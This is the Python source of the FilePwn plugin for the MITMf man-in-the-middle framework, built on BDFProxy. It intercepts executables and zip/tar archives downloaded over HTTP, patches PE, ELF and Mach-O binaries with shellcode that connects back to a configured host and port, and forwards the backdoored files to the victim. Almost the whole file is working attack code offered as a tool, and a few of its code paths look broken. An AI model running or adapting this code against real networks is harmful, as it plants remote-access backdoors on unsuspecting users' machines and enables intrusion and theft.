byt3bl33d3r 5e9158ce0a Updated FilePwn plugin with latest BDFProxy version
Removed exception handling in mitmf.py since I actually want a traceback
2015-04-14 16:16:29 +02:00

607 lines
27 KiB
Python

#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
#
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
#
# Copyright (c) 2013-2014, Joshua Pitts
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# Tested on Kali-Linux.
import sys
import os
import pefile
import zipfile
import logging
import shutil
import random
import string
import tarfile
import multiprocessing
from libs.bdfactory import pebin
from libs.bdfactory import elfbin
from libs.bdfactory import machobin
from plugins.plugin import Plugin
from tempfile import mkstemp
from configobj import ConfigObj
mitmf_logger = logging.getLogger('mitmf')
class FilePwn(Plugin):
name = "FilePwn"
optname = "filepwn"
desc = "Backdoor executables being sent over http using bdfactory"
implements = ["handleResponse"]
tree_output = ["BDFProxy v0.3.2 online"]
version = "0.2"
has_opts = False
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.patched = multiprocessing.Queue()
#FOR FUTURE USE
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream']
#FOR FUTURE USE
self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip']
#USED NOW
self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0},
'pe': {'number': 'MZ', 'offset': 0},
'gz': {'number': '1f8b'.decode('hex'), 'offset': 0},
'bz': {'number': 'BZ', 'offset': 0},
'zip': {'number': '504b0304'.decode('hex'), 'offset': 0},
'tar': {'number': 'ustar', 'offset': 257},
'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0},
'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0},
'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0},
}
#NOT USED NOW
#self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
self.userConfig = options.configfile['FilePwn']
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
self.WindowsType = self.userConfig['targets']['ALL']['WindowsType']
self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86']
self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64']
self.LinuxType = self.userConfig['targets']['ALL']['LinuxType']
self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86']
self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64']
self.FatPriority = self.userConfig['targets']['ALL']['FatPriority']
self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist']
def convert_to_Bool(self, aString):
if aString.lower() == 'true':
return True
elif aString.lower() == 'false':
return False
elif aString.lower() == 'none':
return None
def bytes_have_format(self, bytess, formatt):
number = self.magicNumbers[formatt]
if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']:
return True
return False
def binaryGrinder(self, binaryFile):
"""
Feed potential binaries into this function,
it will return the result PatchedBinary, False, or None
"""
with open(binaryFile, 'r+b') as f:
binaryTMPHandle = f.read()
binaryHeader = binaryTMPHandle[:4]
result = None
try:
if binaryHeader[:2] == 'MZ': # PE/COFF
pe = pefile.PE(data=binaryTMPHandle, fast_load=True)
magic = pe.OPTIONAL_HEADER.Magic
machineType = pe.FILE_HEADER.Machine
#update when supporting more than one arch
if (magic == int('20B', 16) and machineType == 0x8664 and
self.WindowsType.lower() in ['all', 'x64']):
add_section = False
cave_jumping = False
if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append':
add_section = True
elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump':
cave_jumping = True
# if automatic override
if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic':
cave_jumping = True
targetFile = pebin.pebin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.WindowsIntelx64['SHELL'],
HOST=self.WindowsIntelx64['HOST'],
PORT=int(self.WindowsIntelx64['PORT']),
ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'],
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']),
PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower()
)
result = targetFile.run_this()
elif (machineType == 0x14c and
self.WindowsType.lower() in ['all', 'x86']):
add_section = False
cave_jumping = False
#add_section wins for cave_jumping
#default is single for BDF
if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append':
add_section = True
elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump':
cave_jumping = True
# if automatic override
if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic':
cave_jumping = True
targetFile = pebin.pebin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.WindowsIntelx86['SHELL'],
HOST=self.WindowsIntelx86['HOST'],
PORT=int(self.WindowsIntelx86['PORT']),
ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'],
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']),
PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower()
)
result = targetFile.run_this()
elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF
targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False)
targetFile.support_check()
if targetFile.class_type == 0x1:
#x86CPU Type
targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx86['SHELL'],
HOST=self.LinuxIntelx86['HOST'],
PORT=int(self.LinuxIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'],
IMAGE_TYPE=self.LinuxType
)
result = targetFile.run_this()
elif targetFile.class_type == 0x2:
#x64
targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx64['SHELL'],
HOST=self.LinuxIntelx64['HOST'],
PORT=int(self.LinuxIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'],
IMAGE_TYPE=self.LinuxType
)
result = targetFile.run_this()
elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho
targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False)
targetFile.support_check()
#ONE CHIP SET MUST HAVE PRIORITY in FAT FILE
if targetFile.FAT_FILE is True:
if self.FatPriority == 'x86':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx86['SHELL'],
HOST=self.MachoIntelx86['HOST'],
PORT=int(self.MachoIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif self.FatPriority == 'x64':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx64['SHELL'],
HOST=self.MachoIntelx64['HOST'],
PORT=int(self.MachoIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx86['SHELL'],
HOST=self.MachoIntelx86['HOST'],
PORT=int(self.MachoIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx64['SHELL'],
HOST=self.MachoIntelx64['HOST'],
PORT=int(self.MachoIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
self.patched.put(result)
return
except Exception as e:
print 'Exception', str(e)
mitmf_logger.warning("EXCEPTION IN binaryGrinder %s", str(e))
return None
def tar_files(self, aTarFileBytes, formatt):
"When called will unpack and edit a Tar File and return a tar file"
print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB'
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
print "[!] TarFile over allowed size"
mitmf_logger.info("TarFIle maxSize met %s", len(aTarFileBytes))
self.patched.put(aTarFileBytes)
return
with tempfile.NamedTemporaryFile() as tarFileStorage:
tarFileStorage.write(aTarFileBytes)
tarFileStorage.flush()
if not tarfile.is_tarfile(tarFileStorage.name):
print '[!] Not a tar file'
self.patched.put(aTarFileBytes)
return
compressionMode = ':'
if formatt == 'gz':
compressionMode = ':gz'
if formatt == 'bz':
compressionMode = ':bz2'
tarFile = None
try:
tarFileStorage.seek(0)
tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode)
except tarfile.ReadError:
pass
if tarFile is None:
print '[!] Not a tar file'
self.patched.put(aTarFileBytes)
return
print '[*] Tar file contents and info:'
print '[*] Compression:', formatt
members = tarFile.getmembers()
for info in members:
print "\t", info.name, info.mtime, info.size
newTarFileStorage = tempfile.NamedTemporaryFile()
newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage)
patchCount = 0
wasPatched = False
for info in members:
print "[*] >>> Next file in tarfile:", info.name
if not info.isfile():
print info.name, 'is not a file'
newTarFile.addfile(info, tarFile.extractfile(info))
continue
if info.size >= long(self.FileSizeMax):
print info.name, 'is too big'
newTarFile.addfile(info, tarFile.extractfile(info))
continue
# Check against keywords
keywordCheck = False
if type(self.tarblacklist) is str:
if self.tarblacklist.lower() in info.name.lower():
keywordCheck = True
else:
for keyword in self.tarblacklist:
if keyword.lower() in info.name.lower():
keywordCheck = True
continue
if keywordCheck is True:
print "[!] Tar blacklist enforced!"
mitmf_logger.info('Tar blacklist enforced on %s', info.name)
continue
# Try to patch
extractedFile = tarFile.extractfile(info)
if patchCount >= int(self.userConfig['TAR']['patchCount']):
newTarFile.addfile(info, extractedFile)
else:
# create the file on disk temporarily for fileGrinder to run on it
with tempfile.NamedTemporaryFile() as tmp:
shutil.copyfileobj(extractedFile, tmp)
tmp.flush()
patchResult = self.binaryGrinder(tmp.name)
if patchResult:
patchCount += 1
file2 = "backdoored/" + os.path.basename(tmp.name)
print "[*] Patching complete, adding to tar file."
info.size = os.stat(file2).st_size
with open(file2, 'rb') as f:
newTarFile.addfile(info, f)
mitmf_logger.info("%s in tar patched, adding to tarfile", info.name)
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
with open(tmp.name, 'rb') as f:
newTarFile.addfile(info, f)
mitmf_logger.info("%s patching failed. Keeping original file in tar.", info.name)
if patchCount == int(self.userConfig['TAR']['patchCount']):
mitmf_logger.info("Met Tar config patchCount limit.")
# finalize the writing of the tar file first
newTarFile.close()
# then read the new tar file into memory
newTarFileStorage.seek(0)
ret = newTarFileStorage.read()
newTarFileStorage.close() # it's automatically deleted
if wasPatched is False:
# If nothing was changed return the original
print "[*] No files were patched forwarding original file"
self.patched.put(aTarFileBytes)
return
else:
self.patched.put(ret)
return
def zip_files(self, aZipFile):
"When called will unpack and edit a Zip File and return a zip file"
print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB'
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
print "[!] ZipFile over allowed size"
mitmf_logger.info("ZipFIle maxSize met %s", len(aZipFile))
self.patched.put(aZipFile)
return
tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8))
tmpDir = '/tmp/' + tmpRan
tmpFile = '/tmp/' + tmpRan + '.zip'
os.mkdir(tmpDir)
with open(tmpFile, 'w') as f:
f.write(aZipFile)
zippyfile = zipfile.ZipFile(tmpFile, 'r')
#encryption test
try:
zippyfile.testzip()
except RuntimeError as e:
if 'encrypted' in str(e):
mitmf_logger.info('Encrypted zipfile found. Not patching.')
return aZipFile
print "[*] ZipFile contents and info:"
for info in zippyfile.infolist():
print "\t", info.filename, info.date_time, info.file_size
zippyfile.extractall(tmpDir)
patchCount = 0
wasPatched = False
for info in zippyfile.infolist():
print "[*] >>> Next file in zipfile:", info.filename
if os.path.isdir(tmpDir + '/' + info.filename) is True:
print info.filename, 'is a directory'
continue
#Check against keywords
keywordCheck = False
if type(self.zipblacklist) is str:
if self.zipblacklist.lower() in info.filename.lower():
keywordCheck = True
else:
for keyword in self.zipblacklist:
if keyword.lower() in info.filename.lower():
keywordCheck = True
continue
if keywordCheck is True:
print "[!] Zip blacklist enforced!"
mitmf_logger.info('Zip blacklist enforced on %s', info.filename)
continue
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
if patchResult:
patchCount += 1
file2 = "backdoored/" + os.path.basename(info.filename)
print "[*] Patching complete, adding to zip file."
shutil.copyfile(file2, tmpDir + '/' + info.filename)
mitmf_logger.info("%s in zip patched, adding to zipfile", info.filename)
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
mitmf_logger.info("%s patching failed. Keeping original file in zip.", info.filename)
print '-' * 10
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
mitmf_logger.info("Met Zip config patchCount limit.")
break
zippyfile.close()
zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED)
print "[*] Writing to zipfile:", tmpFile
for base, dirs, files in os.walk(tmpDir):
for afile in files:
filename = os.path.join(base, afile)
print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '')
zipResult.write(filename, arcname=filename.replace(tmpDir + '/', ''))
zipResult.close()
#clean up
shutil.rmtree(tmpDir)
with open(tmpFile, 'rb') as f:
tempZipFile = f.read()
os.remove(tmpFile)
if wasPatched is False:
print "[*] No files were patched forwarding original file"
self.patched.put(aZipFile)
return
else:
self.patched.put(tempZipFile)
return
def handleResponse(self, request, data):
content_header = request.client.headers['Content-Type']
client_ip = request.client.getClientIP()
if content_header in self.zipMimeTypes:
if self.bytes_have_format(data, 'zip'):
mitmf_logger.info("%s Detected supported zip file type!" % client_ip)
process = multiprocessing.Process(name='zip', target=self.zip, args=(data,))
process.daemon = True
process.start()
process.join()
bd_zip = self.patched.get()
if bd_zip:
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
return {'request': request, 'data': bd_zip}
else:
for tartype in ['gz','bz','tar']:
if self.bytes_have_format(data, tartype):
mitmf_logger.info("%s Detected supported tar file type!" % client_ip)
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
process.daemon = True
process.start()
process.join()
bd_tar = self.patched.get()
if bd_tar:
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
return {'request': request, 'data': bd_tar}
elif content_header in self.binaryMimeTypes:
for bintype in ['pe','elf','fatfile','machox64','machox86']:
if self.bytes_have_format(data, bintype):
mitmf_logger.info("%s Detected supported binary type!" % client_ip)
fd, tmpFile = mkstemp()
with open(tmpFile, 'w') as f:
f.write(data)
process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,))
process.daemon = True
process.start()
process.join()
patchb = self.patched.get()
if patchb:
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile))
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
return {'request': request, 'data': bd_binary}
else:
mitmf_logger.debug("%s File is not of supported Content-Type: %s" % (client_ip, content_header))
return {'request': request, 'data': data}